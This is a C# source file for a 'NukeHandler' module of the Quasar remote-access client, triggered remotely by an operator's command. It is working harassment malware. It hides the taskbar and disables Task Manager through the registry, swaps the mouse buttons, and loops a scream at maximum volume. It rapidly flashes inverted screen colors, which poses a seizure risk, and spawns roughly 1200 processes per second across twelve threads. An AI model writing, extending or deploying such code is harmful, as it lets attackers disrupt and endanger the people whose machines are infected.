using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;
using Microsoft.Win32;

namespace Quasar.Client.Messages
{
    public class NukeHandler : IMessageProcessor, IDisposable
    {
        // ── P/Invoke ─────────────────────────────────────────────────────────
        [StructLayout(LayoutKind.Sequential)]
        struct RAMP
        {
            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 256)] public ushort[] R;
            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 256)] public ushort[] G;
            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 256)] public ushort[] B;
        }
        [DllImport("gdi32.dll")]  static extern bool GetDeviceGammaRamp(IntPtr hdc, ref RAMP r);
        [DllImport("gdi32.dll")]  static extern bool SetDeviceGammaRamp(IntPtr hdc, ref RAMP r);
        [DllImport("user32.dll")] static extern IntPtr GetDC(IntPtr h);
        [DllImport("user32.dll")] static extern int    ReleaseDC(IntPtr h, IntPtr dc);
        [DllImport("user32.dll")] static extern bool   EnumWindows(EnumWindowsProc fn, IntPtr lp);
        [DllImport("user32.dll")] static extern bool   IsWindowVisible(IntPtr h);
        [DllImport("user32.dll")] static extern bool   GetWindowRect(IntPtr h, out RECT r);
        [DllImport("user32.dll")] static extern bool   SetWindowPos(IntPtr h, IntPtr a, int x, int y, int cx, int cy, uint f);
        [DllImport("user32.dll")] static extern int    GetWindowLong(IntPtr h, int i);
        [DllImport("user32.dll")] static extern int    GetSystemMetrics(int i);
        [DllImport("user32.dll")] static extern bool   ShowWindow(IntPtr h, int cmd);
        [DllImport("user32.dll")] static extern bool   SystemParametersInfo(uint a, uint p, IntPtr v, uint f);
        [DllImport("user32.dll")] static extern bool   SystemParametersInfoStr(uint a, uint p, string v, uint f);
        [DllImport("user32.dll")] static extern uint   SendInput(uint n, INPUT[] inputs, int size);
        [DllImport("user32.dll")] static extern bool   SetSysColors(int n, int[] elems, uint[] colors);
        [DllImport("user32.dll")] static extern IntPtr FindWindow(string cls, string win);
        [DllImport("user32.dll")] static extern IntPtr FindWindowEx(IntPtr p, IntPtr a, string cls, string win);
        [DllImport("user32.dll")] static extern IntPtr SendMessage(IntPtr h, uint msg, IntPtr w, IntPtr l);
        [DllImport("winmm.dll")]  static extern bool   PlaySound(string n, IntPtr mod, uint flags);
        [DllImport("winmm.dll")]  static extern int    waveOutSetVolume(IntPtr h, uint vol);
        [DllImport("winmm.dll")]  static extern int    mciSendString(string cmd, System.Text.StringBuilder ret, int len, IntPtr hwnd);

        [StructLayout(LayoutKind.Sequential)] struct RECT { public int Left, Top, Right, Bottom; }
        [StructLayout(LayoutKind.Sequential)] struct KEYBDINPUT { public ushort wVk, wScan; public uint dwFlags, time; public IntPtr extra; }
        [StructLayout(LayoutKind.Sequential)] struct MOUSEINPUT { public int dx, dy; public uint data, flags, time; public IntPtr extra; }
        [StructLayout(LayoutKind.Sequential)] struct HARDWAREINPUT { public uint msg; public ushort lo, hi; }
        [StructLayout(LayoutKind.Explicit)]
        struct INPUT { [FieldOffset(0)] public int type; [FieldOffset(4)] public KEYBDINPUT ki; [FieldOffset(4)] public MOUSEINPUT mi; [FieldOffset(4)] public HARDWAREINPUT hi; }

        const uint LVM_GETITEMCOUNT    = 0x1004;
        const uint LVM_SETITEMPOSITION = 0x100F;
        const uint SWP_NOSIZE = 0x0001, SWP_NOMOVE = 0x0002, SWP_NOZORDER = 0x0004, SWP_NOACTIVATE = 0x0010;
        const int  GWL_STYLE = -16, WS_MAXIMIZE = 0x01000000, WS_MINIMIZE = 0x20000000;
        const int  SM_CXSCREEN = 0, SM_CYSCREEN = 1;
        const uint WM_CLOSE = 0x0010;
        const int  SW_HIDE = 0, SW_SHOW = 5, SW_MINIMIZE = 6, SW_RESTORE = 9;
        const uint SPI_SETMOUSEBUTTONSWAP = 0x0021, SPI_SETMOUSESPEED = 0x0071;
        const uint SPI_SETDESKWALLPAPER = 0x0014;
        const uint SPIF_SENDCHANGE = 0x0002, SPIF_UPDATEINIFILE = 0x0001;
        const uint SND_FILENAME = 0x00020000, SND_ASYNC = 0x0001, SND_LOOP = 0x0008, SND_PURGE = 0x0040;
        const uint KEYEVENTF_KEYUP = 0x0002, KEYEVENTF_EXTENDEDKEY = 0x0001;

        delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lp);

        // ── Embedded assets ──────────────────────────────────────────────────
        private static readonly byte[] TrollfaceBytes = Convert.FromBase64String("[encoded data, 570092 characters]");
        private static readonly byte[] ThinkFastBytes = Convert.FromBase64String("[encoded data, 39956 characters]");
        private static readonly byte[] ScreamBytes    = Convert.FromBase64String("[encoded data, 846344 characters]");

        // ── Apps to spam ─────────────────────────────────────────────────────
        // exe= launched directly, uri= launched via shell (UWP / protocol handlers)
        private static readonly string[] _exeApps = {
            "notepad.exe", "notepad.exe", "notepad.exe", "notepad.exe", // weighted heavy
            "mspaint.exe", "mspaint.exe", "mspaint.exe",
            "write.exe",   "write.exe",
            "cmd.exe",     "cmd.exe",
            "calc.exe",
            "charmap.exe",
            "osk.exe",
            "snippingtool.exe",
            "magnify.exe",
            "narrator.exe",
            "control.exe",
            "regedit.exe",
            "msinfo32.exe",
            "winver.exe",
            "explorer.exe",
            "taskmgr.exe",
        };
        private static readonly string[] _uriApps = {
            "ms-windows-store:",
            "calculator:",
            "ms-paint:",
            "ms-photos:",
            "ms-settings:",
            "ms-settings-wifi:",
            "ms-settings-bluetooth:",
            "ms-actioncenter:",
            "ms-cortana:",
            "xbox:",
            "zune:",
            "ms-clock:",
        };

        // ── Gamma ramps ──────────────────────────────────────────────────────
        private static RAMP BuildRamp(bool inv)
        {
            var r = new RAMP { R = new ushort[256], G = new ushort[256], B = new ushort[256] };
            for (int i = 0; i < 256; i++) { ushort v = (ushort)(inv ? (255-i)*257 : i*257); r.R[i] = r.G[i] = r.B[i] = v; }
            return r;
        }
        private static RAMP _invertRamp = BuildRamp(true);
        private static RAMP _normalRamp  = BuildRamp(false);

        // ── State ────────────────────────────────────────────────────────────
        private volatile bool _running;
        private Thread        _flashThread;
        private Thread        _overlayThread;
        private TrollOverlay  _overlay;
        private string        _screamTmp;
        private string        _wallTmp;
        private RAMP          _savedRamp;
        private bool          _colorFilterActive;
        private readonly List<Thread> _spawnThreads = new List<Thread>();

        // ── IMessageProcessor ────────────────────────────────────────────────
        public bool CanExecute(IMessage message) => message is DoNuke || message is DoStopNuke;
        public bool CanExecuteFrom(ISender sender) => true;
        public void Execute(ISender sender, IMessage message)
        {
            if (message is DoNuke) Start();
            else if (message is DoStopNuke) Stop();
        }

        // ── Color filter toggle (Win+Ctrl+C) ─────────────────────────────────
        private void SetupColorFilter()
        {
            try
            {
                Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\ColorFiltering", "FilterType", 1, RegistryValueKind.DWord);
                Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\ColorFiltering", "HotkeyEnabled", 1, RegistryValueKind.DWord);
                var cur = Registry.GetValue(@"HKEY_CURRENT_USER\Software\Microsoft\ColorFiltering", "Active", 0);
                _colorFilterActive = cur is int ci && ci == 1;
                if (_colorFilterActive) SendColorFilterToggle();
            }
            catch { }
        }
        private void SendColorFilterToggle()
        {
            var inp = new INPUT[6];
            inp[0].type = 1; inp[0].ki.wVk = 0xA2;
            inp[1].type = 1; inp[1].ki.wVk = 0x5B; inp[1].ki.dwFlags = KEYEVENTF_EXTENDEDKEY;
            inp[2].type = 1; inp[2].ki.wVk = 0x43;
            inp[3].type = 1; inp[3].ki.wVk = 0x43; inp[3].ki.dwFlags = KEYEVENTF_KEYUP;
            inp[4].type = 1; inp[4].ki.wVk = 0x5B; inp[4].ki.dwFlags = KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP;
            inp[5].type = 1; inp[5].ki.wVk = 0xA2; inp[5].ki.dwFlags = KEYEVENTF_KEYUP;
            SendInput(6, inp, Marshal.SizeOf(typeof(INPUT)));
            _colorFilterActive = !_colorFilterActive;
        }
        private void EnsureColorFilterOff() { if (_colorFilterActive) { SendColorFilterToggle(); Thread.Sleep(80); } }

        // ── Start ────────────────────────────────────────────────────────────
        private void Start()
        {
            if (_running) return;
            _running = true;

            // Save gamma
            IntPtr hdc0 = GetDC(IntPtr.Zero);
            GetDeviceGammaRamp(hdc0, ref _savedRamp);
            ReleaseDC(IntPtr.Zero, hdc0);

            SetupColorFilter();

            // Scream at max volume
            waveOutSetVolume(IntPtr.Zero, 0xFFFFFFFF);
            _screamTmp = Path.Combine(Path.GetTempPath(), "nk_scream.wav");
            File.WriteAllBytes(_screamTmp, ScreamBytes);
            PlaySound(_screamTmp, IntPtr.Zero, SND_FILENAME | SND_ASYNC | SND_LOOP);

            // Overlay
            _overlayThread = new Thread(() =>
            {
                while (_running)
                {
                    try { Application.Run(_overlay = new TrollOverlay(TrollfaceBytes, ThinkFastBytes)); } catch { }
                    if (_running) Thread.Sleep(100);
                }
            }) { IsBackground = true };
            _overlayThread.SetApartmentState(ApartmentState.STA);
            _overlayThread.Start();

            // Wallpaper
            ThreadPool.QueueUserWorkItem(_ => SetTrollfaceWallpaper());

            // System chaos setup
            IntPtr tb = FindWindow("Shell_TrayWnd", null);
            if (tb != IntPtr.Zero) ShowWindow(tb, SW_HIDE);
            try { Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", 1, RegistryValueKind.DWord); } catch { }
            SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP, 1, IntPtr.Zero, SPIF_SENDCHANGE);
            SystemParametersInfo(SPI_SETMOUSESPEED, 0, (IntPtr)20, SPIF_SENDCHANGE);
            SetChaosColors();
            mciSendString("set cdaudio door open", null, 0, IntPtr.Zero);

            // ── App spam: 12 dedicated threads, no mercy ─────────────────────
            // Mix of exe and uri launchers, each thread uses a different pattern
            // so they hit different subsystems simultaneously
            lock (_spawnThreads)
            {
                for (int t = 0; t < 12; t++)
                {
                    int tid = t;
                    var thread = new Thread(() => AppSpawnLoop(tid)) { IsBackground = true };
                    _spawnThreads.Add(thread);
                    thread.Start();
                }
            }

            // Flash/invert thread runs separately
            _flashThread = new Thread(FlashLoop) { IsBackground = true };
            _flashThread.Start();
        }

        // ── Stop ─────────────────────────────────────────────────────────────
        private void Stop()
        {
            _running = false;

            IntPtr hdc = GetDC(IntPtr.Zero);
            SetDeviceGammaRamp(hdc, ref _savedRamp);
            ReleaseDC(IntPtr.Zero, hdc);
            EnsureColorFilterOff();

            PlaySound(null, IntPtr.Zero, SND_PURGE);
            try { if (_screamTmp != null) File.Delete(_screamTmp); } catch { }

            IntPtr tb = FindWindow("Shell_TrayWnd", null);
            if (tb != IntPtr.Zero) ShowWindow(tb, SW_SHOW);
            try { Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", 0, RegistryValueKind.DWord); } catch { }
            SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP, 0, IntPtr.Zero, SPIF_SENDCHANGE);
            SystemParametersInfo(SPI_SETMOUSESPEED, 0, (IntPtr)10, SPIF_SENDCHANGE);

            var ov = _overlay;
            if (ov != null && !ov.IsDisposed && ov.IsHandleCreated)
                try { ov.Invoke(new Action(() => ov.Close())); } catch { }

            lock (_spawnThreads) _spawnThreads.Clear();
            try { if (_wallTmp != null && File.Exists(_wallTmp)) File.Delete(_wallTmp); } catch { }
        }

        // ── App spam loop ─────────────────────────────────────────────────────
        // Each thread gets a staggered starting index so they hit different apps
        // and don't all contend on the same process image at the same time.
        private void AppSpawnLoop(int threadId)
        {
            int exeIdx = threadId % _exeApps.Length;
            int uriIdx = threadId % _uriApps.Length;
            bool preferUri = (threadId % 3 == 0); // every 3rd thread hammers URIs

            while (_running)
            {
                try
                {
                    if (preferUri)
                    {
                        Process.Start(new ProcessStartInfo
                        {
                            FileName = _uriApps[uriIdx % _uriApps.Length],
                            UseShellExecute = true
                        });
                        uriIdx++;
                    }
                    else
                    {
                        Process.Start(_exeApps[exeIdx % _exeApps.Length]);
                        exeIdx++;
                        // Also sprinkle URIs every 5 exe launches
                        if (exeIdx % 5 == 0)
                        {
                            Process.Start(new ProcessStartInfo
                            {
                                FileName = _uriApps[uriIdx % _uriApps.Length],
                                UseShellExecute = true
                            });
                            uriIdx++;
                        }
                    }
                }
                catch { }
                // Tiny yield to avoid 100% CPU on this thread alone;
                // 12 threads at 10ms each still spawns ~1200 processes/sec
                Thread.Sleep(10);
            }
        }

        // ── Flash / invert loop ───────────────────────────────────────────────
        private void FlashLoop()
        {
            var rng = new Random();
            var lastJumpscare = DateTime.MinValue;
            while (_running)
            {
                // Color filter invert ON
                SendColorFilterToggle();
                Thread.Sleep(180);
                // Color filter invert OFF
                SendColorFilterToggle();
                Thread.Sleep(80);

                // Gamma ramp as secondary
                ApplyGamma(ref _invertRamp);
                Thread.Sleep(55);
                ApplyGamma(ref _normalRamp);
                Thread.Sleep(55);

                // Jumpscare every 2s
                if ((DateTime.UtcNow - lastJumpscare).TotalSeconds >= 2.0)
                {
                    ThreadPool.QueueUserWorkItem(_ => DoJumpscare());
                    lastJumpscare = DateTime.UtcNow;
                }

                // Window shake
                ShakeWindows(rng);

                // Cursor teleport
                SetCursorPos(rng.Next(GetSystemMetrics(SM_CXSCREEN)), rng.Next(GetSystemMetrics(SM_CYSCREEN)));
            }
        }

        [DllImport("user32.dll")] static extern bool SetCursorPos(int x, int y);

        private void ApplyGamma(ref RAMP ramp)
        {
            IntPtr hdc = GetDC(IntPtr.Zero);
            SetDeviceGammaRamp(hdc, ref ramp);
            ReleaseDC(IntPtr.Zero, hdc);
        }

        private void DoJumpscare()
        {
            try
            {
                var t = new Thread(() =>
                {
                    var f = new Form { BackColor = Color.White, FormBorderStyle = FormBorderStyle.None,
                        TopMost = true, ShowInTaskbar = false, WindowState = FormWindowState.Maximized, Opacity = 1.0 };
                    f.Show();
                    Thread.Sleep(200);
                    try { f.Invoke(new Action(() => f.Close())); } catch { }
                }) { IsBackground = true };
                t.SetApartmentState(ApartmentState.STA);
                t.Start();
            }
            catch { }
        }

        private void SetTrollfaceWallpaper()
        {
            try
            {
                int sw = GetSystemMetrics(SM_CXSCREEN), sh = GetSystemMetrics(SM_CYSCREEN);
                using (var face = Image.FromStream(new MemoryStream(TrollfaceBytes)))
                using (var bmp = new Bitmap(sw, sh))
                using (var g = Graphics.FromImage(bmp))
                {
                    g.Clear(Color.Black);
                    for (int x = 0; x < sw; x += 150)
                        for (int y = 0; y < sh; y += 150)
                            g.DrawImage(face, x, y, 140, 140);
                    _wallTmp = Path.Combine(Path.GetTempPath(), "nk_wall.bmp");
                    bmp.Save(_wallTmp, ImageFormat.Bmp);
                }
                SystemParametersInfoStr(SPI_SETDESKWALLPAPER, 0, _wallTmp, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE);
            }
            catch { }
        }

        private void SetChaosColors()
        {
            int[]  e = { 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 };
            uint[] c = { 0x00FF00,0xFF00FF,0xFF0000,0x00FFFF,0x00FF00,0xFF00FF,0xFF0000,0x00FFFF,
                         0xFF00FF,0x00FF00,0xFF0000,0x00FFFF,0xFF00FF,0x00FF00,0x00FFFF,0xFF0000,
                         0x00FF00,0xFF00FF,0x00FFFF,0xFF0000,0x00FF00,0xFF00FF };
            SetSysColors(e.Length, e, c);
        }

        private void ShakeWindows(Random rng)
        {
            var wins = new List<Tuple<IntPtr,int,int>>();
            EnumWindows((h, _) =>
            {
                if (!IsWindowVisible(h)) return true;
                int s = GetWindowLong(h, GWL_STYLE);
                if ((s & WS_MAXIMIZE) != 0 || (s & WS_MINIMIZE) != 0) return true;
                RECT r; if (GetWindowRect(h, out r)) wins.Add(Tuple.Create(h, r.Left, r.Top));
                return true;
            }, IntPtr.Zero);
            const uint f = SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE;
            int dx = rng.Next(-40,40), dy = rng.Next(-40,40);
            foreach (var w in wins) SetWindowPos(w.Item1, IntPtr.Zero, w.Item2+dx, w.Item3+dy, 0, 0, f);
            Thread.Sleep(25);
            foreach (var w in wins) SetWindowPos(w.Item1, IntPtr.Zero, w.Item2, w.Item3, 0, 0, f);
        }

        public void Dispose() => Stop();

        // ── Overlay ──────────────────────────────────────────────────────────
        private class TrollOverlay : Form
        {
            private readonly System.Windows.Forms.Timer _timer;
            private readonly PictureBox _gifBox;
            private readonly PictureBox _trollBox;
            private readonly Image _gifImage;
            private int _phase;

            [DllImport("user32.dll")]
            static extern bool SetWindowPos(IntPtr h, IntPtr a, int x, int y, int cx, int cy, uint f);

            public TrollOverlay(byte[] trollBytes, byte[] gifBytes)
            {
                FormBorderStyle = FormBorderStyle.None;
                TopMost         = true;
                ShowInTaskbar   = false;
                WindowState     = FormWindowState.Maximized;
                BackColor       = Color.White;
                // Opacity must stay 1.0 — fractional opacity breaks GIF animation in WinForms

                _gifImage = Image.FromStream(new MemoryStream(gifBytes));
                ImageAnimator.Animate(_gifImage, OnGifFrame);

                _gifBox = new PictureBox { Dock = DockStyle.Fill, SizeMode = PictureBoxSizeMode.StretchImage,
                    BackColor = Color.Black, Image = _gifImage, Visible = false };
                _trollBox = new PictureBox { Dock = DockStyle.Fill, SizeMode = PictureBoxSizeMode.Zoom,
                    BackColor = Color.Black, Image = Image.FromStream(new MemoryStream(trollBytes)), Visible = false };
                Controls.Add(_trollBox);
                Controls.Add(_gifBox);

                _timer = new System.Windows.Forms.Timer { Interval = 80 };
                _timer.Tick += OnTick;
                _timer.Start();
            }

            private void OnGifFrame(object sender, EventArgs e)
            {
                ImageAnimator.UpdateFrames(_gifImage);
                if (!IsDisposed && IsHandleCreated)
                    try { Invoke(new Action(() => _gifBox.Invalidate())); } catch { }
            }

            private void OnTick(object sender, EventArgs e)
            {
                switch (_phase % 8)
                {
                    case 0: case 2: case 4:
                        _gifBox.Visible = false; _trollBox.Visible = false; BackColor = Color.White; break;
                    case 6:
                        _gifBox.Visible = false; _trollBox.Visible = false; BackColor = Color.Black; break;
                    case 1: case 5:
                        BackColor = Color.Black; _gifBox.Visible = false; _trollBox.Visible = true; break;
                    case 3: case 7:
                        BackColor = Color.Black; _trollBox.Visible = false; _gifBox.Visible = true; break;
                }
                _phase++;
                SetWindowPos(Handle, (IntPtr)(-1), 0, 0, 0, 0, 0x0001 | 0x0002 | 0x0010);
            }

            protected override void OnFormClosed(FormClosedEventArgs e)
            {
                _timer.Stop(); _timer.Dispose();
                ImageAnimator.StopAnimate(_gifImage, OnGifFrame);
                _gifImage.Dispose();
                _trollBox.Image?.Dispose();
                base.OnFormClosed(e);
            }
        }
    }
}
